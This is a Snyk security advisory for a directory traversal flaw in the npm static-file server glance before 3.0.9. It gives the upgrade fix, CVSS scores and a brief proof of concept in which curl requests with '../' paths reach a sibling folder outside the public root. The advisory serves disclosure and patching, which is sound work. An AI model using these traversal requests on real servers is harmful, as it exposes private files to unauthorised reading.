Directory Traversal Affecting glance package, versions <3.0.9


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.09% (39th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GLANCE-3318395
  • published 12 Feb 2023
  • disclosed 12 Feb 2023
  • credit Liran Tal - Snyk Research Team

How to fix?

Upgrade glance to version 3.0.9 or higher.

Overview

glance is a quick disposable http server for static files.

Affected versions of this package are vulnerable to Directory Traversal that allows users to read files outside the public root directory. This is related to but distinct from the vulnerability reported in CVE-2018-3715.

PoC

Run glance in a directory containing subdirectories named private, public and public-isprivate, setting public as the public root directory.

npx glance --dir "public" --verbose

Run these from the same directory:

curl --path-as-is "http://localhost:8080/../private/index.html" This request is denied, as expected with the prior vulnerability fix.

curl --path-as-is "http://localhost:8080/../public/index.html" This request is allowed, as expected with the functionality of the local HTTP server.

curl --path-as-is "http://localhost:8080/../public-isprivate/index.html" This request should be denied because it is outside the public/ folder, but it is actually allowed.

References

CVSS Scores

version 3.1
Expand this section

Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

6.5 medium